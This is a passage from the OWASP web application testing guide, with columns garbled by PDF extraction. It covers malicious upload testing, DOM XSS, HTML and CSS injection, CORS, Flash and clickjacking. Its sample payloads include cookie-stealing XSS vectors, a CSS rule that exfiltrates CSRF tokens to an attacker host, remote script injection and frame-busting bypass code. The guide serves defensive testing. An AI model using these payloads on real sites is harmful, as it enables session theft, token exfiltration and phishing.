cation functionality is ready to handle and expecting. Some spe- generates a shellcode as a Windows executable using the
cific examples include: Black or White listing of file extensions, Metasploit “msfpayload” command.
using “Content-Type” from the header, or using a file type recog-
nizer, all to only allow specified file types into the system. • Submit the executable via the application’s upload functionality
and see if it is accepted or properly rejected.
Test Upload of Malicious Files
(OTG-BUSLOGIC-009) Specific Testing Method 2
Summary • Develop or create a file that should fail the application malware
Many application’s business processes allow for the upload of detection process. There are many available on the Internet
data/information. We regularly check the validity and security of such as ducklin.htm or ducklin-html.htm.
text but accepting files can introduce even more risk. To reduce
the risk we may only accept certain file extensions, but attackers • Submit the executable via the application’s upload functionality
are able to encapsulate malicious code into inert file types. Test- and see if it is accepted or properly rejected.
ing for malicious files verifies that the application/system is able
to correctly protect against attackers uploading malicious files. Specific Testing Method 3
• Set up the intercepting proxy to capture the “valid” request for
Vulnerabilities related to the uploading of malicious files is an accepted file.
unique in that these “malicious” files can easily be reject-
ed through including business logic that will scan files during • Send an “invalid” request through with a valid/acceptable file
the upload process and reject those perceived as malicious. extension and see if the request is accepted or properly
Additionally, this is different from uploading unexpected files in rejected.
that while the file type may be accepted the file may still be ma-
licious to the system. Related Test Cases
Finally, “malicious” means different things to different systems, • Test File Extensions Handling for Sensitive Information
for example Malicious files that may exploit SQL server vulnera- (OTG-CONFIG-003)
188
• Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) Client-Side testing is concerned with the execution of code on
the client, typically natively within a web browser or browser
Tools plugin. The execution of code on the client-side is distinct from
• Metasploit’s payload generation functionality executing on the server and returning the subsequent content.
• How to Tell if a File is Malicious There have been very few papers published on this topic and, as
http://www.techsupportalert.com/content/how-tell-if-file- such, very little standardization of its meaning and formalized
malicious.htm testing exists.
• Watchful File Upload In comparison to other cross site scripting vulnerabilities (re-
http://palizine.plynt.com/issues/2011Apr/file-upload/ flected and stored XSS), where an unsanitized parameter is
passed by the server, returned to the user and executed in the
• Matasploit Generating Payloads context of the user’s browser, a DOM-based XSS vulnerability
http://www.offensive-security.com/metasploit-unleashed/ controls the flow of the code by using elements of the Document
Generating_Payloads Object Model (DOM) along with code crafted by the attacker to
change the flow.
• Project Shellcode – Shellcode Tutorial 9: Generating
Shellcode Using Metasploit http://www.projectshellcode. Due to their nature, DOM-based XSS vulnerabilities can be exe-
com/?q=node/29 cuted in many instances without the server being able to deter-
mine what is actually being executed. This may make many of
• Anti-Malware Test file - http://www.eicar.org/86-0-Intended the general XSS filtering and detection techniques impotent to
use.html such attacks.
Remediation The first hypothetical example uses the following client side
While safeguards such as black or white listing of file extensions, code:
using “Content-Type” from the header, or using a file type recog-
nizer may not always be protections against this type of vulner- An attacker may append #<script>alert(‘xss’)</script> to the af-
ability. Every application that accepts files from users must have fected page URL which would, when executed, display the alert
a mechanism to verify that the uploaded file does not contain box. In this instance, the appended code would not be sent to
malicious code. Uploaded files should never be stored where the the server as everything after the # character is not treated as
users or attackers can directly access them. part of the query by the browser but as a fragment. In this ex-
ample, the code is immediately executed and an alert of “xss” is
Client-Side Testing displayed by the page. Unlike the more common types of cross
189
site scripting (Stored and Reflected) in which the code is sent to assessed to determine what code is being executed.
the server and then back to the browser, this is executed directly Automated testing has only very limited success at identify-
in the user’s browser without server contact. ing and validating DOM-based XSS as it usually identifies XSS
by sending a specific payload and attempts to observe it in the
The consequences of DOM-based XSS flaws are as wide ranging server response. This may work fine for the simple example pro-
as those seen in more well known forms of XSS, including cookie vided below, where the message parameter is reflected back to
retrieval, further malicious script injection, etc. and should there- the user:
fore be treated with the same severity. but may not be detected in the following contrived case:
For this reason, automated testing will not detect areas that may
Black Box testing be susceptible to DOM-based XSS unless the testing tool can
Blackbox testing for DOM-Based XSS is not usually performed perform addition analysis of the client side code.
since access to the source code is always available as it needs to
be sent to the client to be executed. Manual testing should therefore be undertaken and can be done
by examining areas in the code where parameters are referred
Gray Box testing to that may be useful to an attacker. Examples of such areas in-
Testing for DOM-Based XSS vulnerabilities: clude places where code is dynamically written to the page and
JavaScript applications differ significantly from other types of elsewhere where the DOM is modified or even where scripts are
applications because they are often dynamically generated by directly executed. Further examples are described in the excel-
the server, and to understand what code is being executed, the lent DOM XSS article by Amit Klein, referenced at the end of this
website being tested needs to be crawled to determine all the section.
instances of JavaScript being executed and where user input
is accepted. Many websites rely on large libraries of functions, References
which often stretch into the hundreds of thousands of lines of OWASP Resources
code and have not been developed in-house. In these cases, • DOM based XSS Prevention Cheat Sheet
top-down testing often becomes the only really viable option,
since many bottom level functions are never used, and analyzing Whitepapers
them to determine which are sinks will use up more time than is • Document Object Model (DOM) - http://en.wikipedia.org/wiki
often available. The same can also be said for top-down testing Document_Object_Model
if the inputs or lack thereof is not identified to begin with. • DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: http://www.webappsec.org/projects/articles/071105.
User input comes in two main forms: shtml
• Browser location/document URI/URL Sources - https://code
• Input written to the page by the server in a way that does not google.com/p/domxsswiki/wiki/LocationSources
allow direct XSS • i.e., what is returned when the user asks the browser for things
• Input obtained from client-side JavaScript objects like document.URL, document.baseURI, location, location.href,
etc.
Here are two examples of how the server may insert data into
JavaScript: Testing for JavaScript Execution
(OTG-CLIENT-002)
And here are two examples of input from client-side JavaScript Summary
objects: A JavaScript Injection vulnerability is a subtype of Cross Site
Scripting (XSS) that involves the ability to inject arbitrary JavaS-
While there is little difference to the JavaScript code in how they cript code that is executed by the application inside the victim’s
are retrieved, it is important to note that when input is received browser.
via the server, the server can apply any permutations to the data This vulnerability can have many consequences, like disclosure
that it desires, whereas the permutations performed by JavaS- of a user’s session cookies that could be used to impersonate
cript objects are fairly well understood and documented, and the victim, or, more generally, it can allow the attacker to modify
so if someFunction in the above example were a sink, then the the page content seen by the victims or the application behavior.
exploitability of the former would depend on the filtering done
by the server, whereas the latter would depend on the encoding How to Test
done by the browser on the window.referer object. Such vulnerability occurs when the application lacks of a proper
Stefano Di Paulo has written an excellent article on what brows- user supplied input and output validation.
ers return when asked for the various elements of a URL using JavaScript is used to dynamically populate web pages, this injec-
the document. and location. attributes. tion occur during this content processing phase and consequent-
ly affect the victim.
Additionally, JavaScript is often executed outside of <script>
blocks, as evidenced by the many vectors which have led to XSS When trying to exploit this kind of issues, consider that some
filter bypasses in the past, and so, when crawling the applica- characters are treated differently by different browsers. For ref-
tion, it is important to note the use of scripts in places such as erence see the DOM XSS Wiki.
event handlers and CSS blocks with expression attributes.
Also, note that any off-site CSS or script objects will need to be The following script does not perform any validation of the vari-
190
able rr that contains the user supplied input via the query string HTML code into a vulnerable web page.
and additionally does not apply any form of encoding: This vulnerability can have many consequences, like disclosure
of a user’s session cookies that could be used to impersonate the
var rr = location.search.substring(1); victim, or, more generally, it can allow the attacker to modify the
if(rr) page content seen by the victims.
window.location=decodeURIComponent(rr);
How to Test
This implies that an attacker could inject JavaScript code
This vulnerability occurs when the user input is not correctly
simply by submitting the following query string: www.victim.
sanitized and the output is not encoded. An injection allows the
com/?javascript:alert(1) attacker to send a malicious HTML page to a victim. The targeted
browser will not be able to distinguish (trust) the legit from the
malicious parts and consequently will parse and execute all as
legit in the victim context.
Black Box testing
Black box testing for JavaScript Execution is not usually per- There is a wide range of methods and attributes that could be
formed since access to the source code is always available as it used to render HTML content. If these methods are provided
needs to be sent to the client to be executed. with an untrusted input, then there is an high risk of XSS, spe-
cifically an HTML injection one. Malicious HTML code could be
Gray Box testing injected for example via innerHTML, that is used to render user
Testing for JavaScript Execution vulnerabilities: inserted HTML code. If strings are not correctly sanitized the
For example, looking at the following URL: http://www.domxss. problem could lead to XSS based HTML injection. Another meth-
com/domxss/01_Basics/04_eval.html od could be document.write()
The page contains the following scripts: When trying to exploit this kind of issues, consider that some
characters are treated differently by different browsers. For ref-
<script> erence see the DOM XSS Wiki.
function loadObj(){
var cc=eval(‘(‘+aMess+’)’); The innerHTML property sets or returns the inner HTML of an
document.getElementById(‘mess’).textContent=cc.mes- element. An improper usage of this property, that means lack of
sanitization from untrusted input and missing output encoding,
sage;
could allow an attacker to inject malicious HTML code.
}
Example of Vulnerable Code: The following example shows a
if(window.location.hash.indexOf(‘message’)==-1) snippet of vulnerable code that allows an unvalidated input to be
var aMess=”({\”message\”:\”Hello User!\”})”; used to create dynamic html in the page context:
else
var aMess=location.hash.substr(window.location.hash. var userposition=location.href.indexOf(“user=”);
indexOf(‘message=’)+8); var user=location.href.substring(userposition+5);
</script> document.getElementById(“Welcome”).innerHTML=” Hello,
“+user;
Black box testing for HTML Injection is not usually performed input that contains an URL value without sanitizing it. This URL
since access to the source code is always available as it needs to value could cause the web application to redirect the user to an-
be sent to the client to be executed. other page as, for example, a malicious page controlled by the
attacker.
Gray Box testing
Testing for HTML Injection vulnerabilities: By modifying untrusted URL input to a malicious site, an attacker
For example, looking at the following URL: may successfully launch a phishing scam and steal user creden-
tials. Since the redirection is originated by the real application,
http://www.domxss.com/domxss/01_Basics/06_jque- the phishing attempts may have a more trustworthy appear-
ry_old_html.html ance.
How to Test
This vulnerability occurs when an application accepts untrusted
192
Note how, if the vulnerable code is the following Opera, Internet Explorer and Firefox; for reference see DOM XSS
Wiki, section “Style Sinks”.
var redir = location.hash.substring(1);
if (redir) <a id=”a1”>Click me</a>
window.location=decodeURIComponent(redir); <script>
if (location.hash.slice(1)) {
document.getElementById(“a1”).style.cssText = “color: “ +
It also could be possible to inject JavaScript code, for example by location.hash.slice(1);
submitting the following query string: }
</script>
http://www.victim.site/?#javascript:alert(document.cookie)
Tools The same vulnerability may appear in the case of classical re-
• DOMinator - https://dominator.mindedsecurity.com/ flected XSS in which for instance the PHP code looks like the fol-
lowing:
References
OWASP Resources <style>
• DOM based XSS Prevention Cheat Sheet p{
• DOMXSS.com - http://www.domxss.com color: <?php echo $_GET[‘color’]; ?>;
text-align: center;
Whitepapers
}
• Browser location/document URI/URL Sources - https://code
</style>
google.com/p/domxsswiki/wiki/LocationSources
• i.e., what is returned when you ask the browser for things
like document.URL, document.baseURI, location, location.
href, etc. Much more interesting attack scenarios involve the possibility to
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on extract data through the adoption of pure CSS rules. Such at-
the loose” - http://kotowicz.net/absolute/ tacks can be conducted through CSS selectors and leading for
instance to grab anti-CSRF tokens, as follows. In particular, in-
Testing for CSS Injection (OTG-CLIENT-005) put[name=csrf_token][value=^a] represents an element with
Summary the attribute “name” set “csrf_token” and whose attribute “val-
A CSS Injection vulnerability involves the ability to inject arbitrary ue” starts with “a”. By detecting the length of the attribute “val-
CSS code in the context of a trusted web site, and this will be ue”, it is possible to carry out a brute force attack against it and
rendered inside the victim’s browser. The impact of such a vul- send its value to the attacker’s domain.
nerability may vary on the basis of the supplied CSS payload: it
could lead to Cross-Site Scripting in particular circumstances, to <style>
data exfiltration in the sense of extracting sensitive data or to UI input[name=csrf_token][value=^a] {
modifications. background-image: url(http://attacker/log?a);
}
How to Test </style>
Such a vulnerability occurs when the application allows to supply
user-generated CSS or it is possible to somehow interfere with
the legit stylesheets. Injecting code in the CSS context gives the Much more modern attacks involving a combination of SVG, CSS
attacker the possibility to execute JavaScript in certain conditions and HTML5 have been proven feasible, therefore we recommend
as well as extracting sensitive values through CSS selectors and to see the References section for details.
functions able to generate HTTP requests. Actually, giving the
users the possibility to customize their own personal pages by Black Box testing
using custom CSS files results in a considerable risk, and should We are referring to client-side testing, therefore black box test-
be definitely avoided. ing is not usually performed since access to the source code is
always available as it needs to be sent to the client to be exe-
The following JavaScript code shows a possible vulnerable cuted. However, it may happen that the user is given a certain
script in which the attacker is able to control the “location.hash” degree of freedom in terms of possibilities to supply HTML code;
(source) which reaches the “cssText” function (sink). This partic- in that case it is required to test whether no CSS injections are
ular case may lead to DOMXSS in older browser versions, such as possible: tags like “link” and “style” should be disallowed, as well
193
How to Test
Origin & Access-Control-Allow-Origin Black Box testing
The Origin header is always sent by the browser in a CORS re- Black box testing for finding issues related to Cross Origin Re-
quest and indicates the origin of the request. The Origin head- source Sharing is not usually performed since access to the
er can not be changed from JavaScript however relying on this source code is always available as it needs to be sent to the client
header for Access Control checks is not a good idea as it may be to be executed.
spoofed outside the browser, so you still need to check that ap-
plication-level protocols are used to protect sensitive data. Gray Box testing
Check the HTTP headers in order to understand how CORS is
Access-Control-Allow-Origin is a response header used by a used, in particular we should be very interested in the Origin
server to indicate which domains are allowed to read the re- header to learn which domains are allowed. Also, manual inspec-
sponse. Based on the CORS W3 Specification it is up to the client tion of the JavaScript is needed to determine whether the code
to determine and enforce the restriction of whether the client is vulnerable to code injection due to improper handling of user
has access to the response data based on this header. supplied input. Below are some examples:
From a penetration testing perspective you should look for inse- Example 1: Insecure response with wildcard ‘*’ in Access-Con-
cure configurations as for example using a ‘*’ wildcard as value of trol-Allow-Origin:
the Access-Control-Allow-Origin header that means all domains Request (note the ‘Origin’ header:)
are allowed. Other insecure example is when the server returns
back the Origin header without any additional checks, what can GET http://attacker.bar/test.php HTTP/1.1
lead to access of sensitive data. Note that this configuration is Host: attacker.bar
very insecure, and is not acceptable in general terms, except in User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
the case of a public API that is intended to be accessible by ev- rv:24.0) Gecko/20100101 Firefox/24.0
eryone. Accept: text/html,application/xhtml+xml,application/xm-
l;q=0.9,*/*;q=0.8
Access-Control-Request-Method & Access-Control-Al-
Accept-Language: en-US,en;q=0.5
low-Method
The Access-Control-Request-Method header is used when a Referer: http://example.foo/CORSexample1.html
browser performs a preflight OPTIONS request and let the client Origin: http://example.foo
indicate the request method of the final request. On the other Connection: keep-alive
hand, the Access-Control-Allow-Method is a response header
used by the server to describe the methods the clients are al-
lowed to use. Response (note the ‘Access-Control-Allow-Origin’ header:)
<body>
HTTP/1.1 200 OK
<div id=”div1”></div>
Date: Mon, 07 Oct 2013 19:00:32 GMT
</body>
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
For example, a request like this will show the contents of the Access-Control-Allow-Origin: *
profile.php file:
Vary: Accept-Encoding
Content-Length: 92
http://example.foo/main.php#profile.php
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Request and response generated by this URL: Content-Type: text/html
GET http://example.foo/profile.php HTTP/1.1 Injected Content from attacker.bar <img src=”#” oner-
Host: example.foo ror=”alert(‘Domain: ‘+document.domain)”>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xm-
l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17 Tools
Vary: Accept-Encoding • OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org
Content-Length: 25 index.php/OWASP_Zed_Attack_Proxy_Project
Keep-Alive: timeout=15, max=99
ZAP is an easy to use integrated penetration testing tool for
Connection: Keep-Alive
finding vulnerabilities in web applications. It is designed to be
Content-Type: text/html
used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new
[Response Body] to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabil-
ities manually.
Now, as there is no URL validation we can inject a remote script,
that will be injected and executed in the context of the example. References
foo domain, with a URL like this: OWASP Resources
• OWASP HTML5 Security Cheat Sheet: https://www.owasp
http://example.foo/main.php#http://attacker.bar/file.php org/index.php/HTML5_Security_Cheat_Sheet
Whitepapers
Request and response generated by this URL: • W3C - CORS W3C Specification: http://www.w3.org/TR/cors/
197
Testing for Cross site flashing FlashVars can also be initialized from the URL:
(OTG-CLIENT-008)
Summary http://www.example.org/somefilename.swf?var1=val1&-
ActionScript is the language, based on ECMAScript, used by Flash var2=val2
applications when dealing with interactive needs. There are three
versions of the ActionScript language. ActionScript 1.0 and Action-
Script 2.0 are very similar with ActionScript 2.0 being an extension of In ActionScript 3.0, a developer must explicitly assign the FlashVar
ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a values to local variables. Typically, this looks like:
rewrite of the language to support object orientated design.
var paramObj:Object = LoaderInfo(this.root.loaderInfo).
ActionScript, like every other language, has some implementation parameters;
patterns which could lead to security issues. In particular, since Flash var var1:String = String(paramObj[“var1”]);
applications are often embedded in browsers, vulnerabilities like var var2:String = String(paramObj[“var2”]);
DOM based Cross-Site Scripting (XSS) could be present in flawed
Flash applications.
In ActionScript 2.0, any uninitialized global variable is assumed to be
How to Test a FlashVar. Global variables are those variables that are prepended
Since the first publication of “Testing Flash Applications” [1], new by _root, _global or _level0. This means that if an attribute like:
versions of Flash player were released in order to mitigate some of
the attacks which will be described. Nevertheless, some issues still _root.varname
remain exploitable because they are the result of insecure program-
ming practices.
Decompilation is undefined throughout the code flow, it could be overwritten by
setting
Since SWF files are interpreted by a virtual machine embedded in the
player itself, they can be potentially decompiled and analysed. The http://victim/file.swf?varname=value
most known and free ActionScript 2.0 decompiler is flare.
To decompile a SWF file with flare just type: Regardless of whether you are looking at ActionScript 2.0 or Action-
Script 3.0, FlashVars can be a vector of attack. Let’s look at some Ac-
$ flare hello.swf tionScript 2.0 code that is vulnerable:
Example:
it will result in a new file called hello.flr.
movieClip 328 __Packages.Locale {
Decompilation helps testers because it allows for source code as-
sisted, or white-box, testing of the Flash applications. HP’s free #initclip
SWFScan tool can decompile both ActionScript 2.0 and ActionScript if (!_global.Locale) {
3.0 SWFScan var v1 = function (on_load) {
var v5 = new XML();
The OWASP Flash Security Project maintains a list of current disas-
var v6 = this;
semblers, decompilers and other Adobe Flash related testing tools.
v5.onLoad = function (success) {
Undefined Variables FlashVars if (success) {
FlashVars are the variables that the SWF developer planned on re- trace(‘Locale loaded xml’);
ceiving from the web page. FlashVars are typically passed in from var v3 = this.xliff.file.body.$trans_unit;
the Object or Embed tag within the HTML. For instance: var v2 = 0;
while (v2 < v3.length) {
<object width=”550” height=”400” classid=”clsid:D27CDB6E Locale.strings[v3[v2]._resname] = v3[v2].source.__
-AE6D-11cf-96B8-444553540000” text;
codebase=”http://download.macromedia.com/pub/shock- ++v2;
wave/cabs/flash/swflash.cab#version=9,0,124,0”> }
<param name=”movie” value=”somefilename.swf”> on_load();
<param name=”FlashVars” value=”var1=val1&var2=val2”> } else {}
<embed src=”somefilename.swf” width=”550” };
height=”400” FlashVars=”var1=val1&var2=val2”> if (_root.language != undefined) {
</embed> Locale.DEFAULT_LANG = _root.language;
</object> }
198
teToURL function:
v5.load(Locale.DEFAULT_LANG + ‘/player_’ +
Locale.DEFAULT_LANG + ‘.xml’); var request:URLRequest = new URLRequest(FlashVarSup-
}; pliedURL);
navigateToURL(request);
The above code could be attacked by requesting:
http://victim/file.swf?language=http://evil.example.org/ma- Then this will mean it’s possible to call JavaScript in the same domain
licious.xml? where the movie is hosted by requesting:
http://victim/file.swf?URI=javascript:evilcode
Unsafe Methods
When an entry point is identified, the data it represents could be
getURL(‘javascript:evilcode’,’_self’);
used by unsafe methods. If the data is not filtered/validated using
the right regexp it could lead to some security issue.
The same when only some part of getURL is controlled:
Unsafe Methods since version r47 are:
Dom Injection with Flash JavaScript injection
loadVariables()
loadMovie() getUrl(‘javascript:function(‘+_root.arg+’))
getURL()
loadMovie()
loadMovieNum() asfunction:
FScrollPane.loadScrollContent() You can use the special asfunction protocol to cause the link to exe-
LoadVars.load cute an ActionScript function in a SWF file instead of opening a URL.
LoadVars.send Until release Flash Player 9 r48 asfunction could be used on every
XML.load ( ‘url’ ) method which has a URL as an argument. After that release, asfunc-
LoadVars.load ( ‘url’ ) tion was restricted to use within an HTML TextField.
Sound.loadSound( ‘url’ , isStreaming );
NetStream.play( ‘url’ ); This means that a tester could try to inject:
flash.external.ExternalInterface.call(_root.callback) asfunction:getURL,javascript:evilcode
htmlText
in every unsafe method like:
ExternalInterface:
This is because in this situation the browser will self-generate an ExternalInterface.call is a static method introduced by Adobe to im-
HTML page as if it were hosted by the victim host. prove player/browser interaction for both ActionScript 2.0 and Ac-
tionScript 3.0.
XSS
GetURL (AS2) / NavigateToURL (AS3): From a security point of view it could be abused when part of its ar-
The GetURL function in ActionScript 2.0 and NavigateToURL in Ac- gument could be controlled:
tionScript 3.0 lets the movie load a URI into the browser’s window.
flash.external.ExternalInterface.call(_root.callback);
So if an undefined variable is used as the first argument for getURL:
getURL(_root.URI,’_targetFrame’); the attack pattern for this kind of flaw should be something like
the following:
since the internal JavaScript which is executed by the browser ification of the GUI in order to fool a user to insert credentials
will be something similar to: on a fake flash form. XSF could be used in the presence of Flash
HTML Injection or external SWF files when loadMovie* methods
eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) { are used.
“<undefined/>”; }’)
Open redirectors
SWFs have the capability to navigate the browser. If the SWF
HTML Injection takes the destination in as a FlashVar, then the SWF may be used
TextField Objects can render minimal HTML by setting: as an open redirector. An open redirector is any piece of website
functionality on a trusted website that an attacker can use to re-
tf.html = true direct the end-user to a malicious website. These are frequently
tf.htmlText = ‘<tag>text</tag>’ used within phishing attacks. Similar to cross-site scripting, the
attack involves a user clicking on a malicious link.
So if some part of text could be controlled by the tester, an A tag In the Flash case, the malicious URL might look like:
or an IMG tag could be injected resulting in modifying the GUI or
XSS the browser. http://trusted.example.org/trusted.swf?getURLValue=http://
www.evil-spoofing-website.org/phishEndUsers.html
Some attack examples with A Tag:
• Direct XSS: <a href=’javascript:alert(123)’ > In the above example, an end-user might see the URL begins
with their favorite trusted website and click on it. The link would
• Call a function: <a href=’asfunction:function,arg’ > load the trusted SWF which takes the getURLValue and provides
it to an ActionScript browser navigation call:
• Call SWF public functions:
getURL(_root.getURLValue,”_self”);
<a href=’asfunction:_root.obj.function, arg’>
• One Movie loads another Movie with loadMovie* functions or v9.0 r47/48 Yes Yes Yes Yes
other hacks and has access to the same sandbox or part of it v9.0 r115 No Yes Yes Yes
• XSF could also occurs when an HTML page uses JavaScript to v9.0 r124 No Yes Yes Partially
command an Adobe Flash movie, for example, by calling:
• GetVariable: access to flash public and static object from Result Expected:
JavaScript as a string. Cross-Site Scripting and Cross-Site Flashing are the expected
• SetVariable: set a static or public flash object to a new string results on a flawed SWF file.
value from JavaScript.
• Unexpected Browser to SWF communication could result in Tools
stealing data from the SWF application. • Adobe SWF Investigator: http://labs.adobe.com/technologies
swfinvestigator/
It could be performed by forcing a flawed SWF to load an exter-
nal evil flash file. This attack could result in XSS or in the mod- • SWFScan: http://h30499.www3.hp.com/t5/Following
200
References
OWASP
• OWASP Flash Security Project: The OWASP Flash Security
project has even more references than what is listed below:
http://www.owasp.org/index.php/Category:OWASP_Flash_
Security_Project
Whitepapers
• Testing Flash Applications: A new attack vector for XSS
and XSFlashing: http://www.owasp.org/images/8/8c/
OWASPAppSec2007Milan_TestingFlashApplications.ppt
that it take input from the user. the name of “Bust frame busting”. Some of this techniques are
browser-specific while others work across browsers.
We have to discover if the website that we are testing has no
protections against clickjacking attacks or, if the developers have Mobile website version
implemented some forms of protection, if these techniques are Mobile versions of the website are usually smaller and faster
liable to bypass. Once we know that the website is vulnerable, than the desktop ones, and they have to be less complex than
we can create a “proof of concept” to exploit the vulnerability. the main application. Mobile variants have often less protection
since there is the wrong assumption that an attacker could not
The first step to discover if a website is vulnerable, is to check attack an application by the smart phone. This is fundamentally
if the target web page could be loaded into an iframe. To do this wrong, because an attacker can fake the real origin given by a
you need to create a simple web page that includes a frame con- web browser, such that a non-mobile victim may be able to visit
taining the target web page. The HTML code to create this test- an application made for mobile users. From this assumption fol-
ing web page is displayed in the following snippet: lows that in some cases it is not necessary to use techniques to
evade frame busting when there are unprotected alternatives,
<html> which allow the use of same attack vectors.
<head>
<title>Clickjack test page</title> Double Framing
</head> Some frame busting techniques try to break frame by assigning
a value to the “parent.location” attribute in the “counter-action”
<body>
statement.
<p>Website is vulnerable to clickjacking!</p>
<iframe src=”http://www.target.site” width=”500” Such actions are, for example:
height=”500”></iframe>
</body> • self.parent.location = document.location
</html> • parent.location.href = self.location
• parent.location = self.location
Result Expected: If you can see both the text “Website is vulner- This method works well until the target page is framed by a sin-
able to clickjacking!” at the top of the page and your target web gle page. However, if the attacker encloses the target web page
page successfully loaded into the frame, then your site is vulner- in one frame which is nested in another one (a double frame),
able and has no type of protection against Clickjacking attacks. then trying to access to “parent.location” becomes a security
Now you can directly create a “proof of concept” to demonstrate violation in all popular browsers, due to the descendant frame
that an attacker could exploit this vulnerability. navigation policy. This security violation disables the counter-ac-
tion navigation.
Bypass Clickjacking protection:
In case in which you only see the target site or the text “Website Target site frame busting code (target site):
is vulnerable to clickjacking!” but nothing in the iframe this mean
that the target probably has some form of protection against if(top.location!=self.locaton) {
clickjacking. It’s important to note that this isn’t a guarantee that parent.location = self.location;
the page is totally immune to clickjacking. }
In some circumstances, every single type of defense could be by- Attacker’s fictitious sub-frame (fictitious.html):
passed. Following are presented the main methods of protection
from these attacks and techniques to bypass them. <iframe src=”http://target site”>
The structure of frame busting code typically consists of a “con- There are three deactivation techniques that can be used with
ditional statement” and a “counter-action” statement. For this frames:
type of protection, there are some work arounds that fall under
202
• Restricted frames with Internet Explorer: Starting from dering the original frame busting attempt futile.
Internet Explorer 6, a frame can have the “security” attribute
that, if it is set to the value “restricted”, ensures that JavaScript Following an example code:
code, ActiveX controls, and re-directs to other sites do not 204 page:
work in the frame.
<?php
Example: header(“HTTP/1.1 204 No Content”);
?>
<iframe src=”http://target site” security=”restricted”></
iframe>
Attacker’s page:
• Sandbox attribute: with HTML5 there is a new attribute called
“sandbox”. It enables a set of restrictions on content loaded <script>
into the iframe. At this moment this attribute is only compatible var prevent_bust = 0;
whit Chrome and Safari. window.onbeforeunload = function() {
prevent_bust++;
Example:
};
setInterval(
<iframe src=”http://target site” sandbox></iframe>
function() {
if (prevent_bust > 0) {
• Design mode: Paul Stone showed a security issue concerning prevent_bust -= 2;
the “designMode” that can be turned on in the framing page (via window.top.location =
document.designMode), disabling JavaScript in top and sub- “http://attacker.site/204.php”;
frame. The design mode is currently implemented in Firefox }
and IE8. }, 1);
</script>
onBeforeUnload event <iframe src=”http://target site”>
The onBeforeUnload event could be used to evade frame busting
code. This event is called when the frame busting code wants to
destroy the iframe by loading the URL in the whole web page and XSS Filter
not only in the iframe. The handler function returns a string that Starting from Google Chrome 4.0 and from IE8 there were intro-
is prompted to the user asking confirm if he wants to leave the duced XSS filters to protect users from reflected XSS attacks. Nava
page. When this string is displayed to the user is likely to cancel and Lindsay have observed that these kind of filters can be used to
the navigation, defeating traget’s frame busting attempt. deactivate frame busting code by faking it as malicious code.
The attacker can use this attack by registering an unload event • IE8 XSS filter: this filter has visibility into all requests and
on the top page using the following example code: responses parameters flowing through the web browser and
it compares them to a set of regular expressions in order to look
<h1>www.fictitious.site</h1> for reflected XSS attempts. When the filter identifies a possible
<script> XSS attacks; it disable all inline scripts within the page, including
window.onbeforeunload = function() frame busting scripts (the same thing could be done with external
{ scripts). For this reason an attacker could induces a false positive
return “ Do you want to leave fictitious.site?”; by inserting the beginning of the frame busting script into a request
parameters.
}
</script>
Example: Target web page frame busting code:
<iframe src=”http://target site”>
if ( top != self )
{
The previous technique requires the user interaction but, the top.location=self.location;
same result, can be achieved without prompting the user. To }
do this the attacker have to automatically cancel the incoming
</script>
navigation request in an onBeforeUnload event handler by re-
peatedly submitting (for example every millisecond) a navigation
request to a web page that responds with a “HTTP/1.1 204 No
Content” header. Attacker code:
Since with this response the browser will do nothing, the result- <iframe src=”http://target site/?param=<script>if”>
ing of this operation is the flushing of the request pipeline, ren-
203
• Chrome 4.0 XSSAuditor filter: It has a little different behaviour responses and is used to mark web pages that shouldn’t be framed.
compared to IE8 XSS filter, in fact with this filter an attacker could This header can take the values DENY, SAMEORIGIN, ALLOW-FROM
deactivate a “script” by passing its code in a request parameter. origin, or non-standard ALLOWALL. Recommended value is DENY.
This enables the framing page to specifically target a single snippet
containing the frame busting code, leaving all the other codes The “X-FRAME-OPTIONS” is a very good solution, and was adopted
intact. by major browser, but also for this technique there are some limita-
tions that could lead in any case to exploit the clickjacking vulnera-
Example: Target web page frame busting code: bility.
Example:
<script>
window.defineSetter(“location” , function(){});
</script>
<iframe src=”http://target site”></iframe> Following a snippet of the code for the step 2:
In the last step are planned security controls and then, if is all ok, the
transfer is done. Following is presented a snippet of the code of the
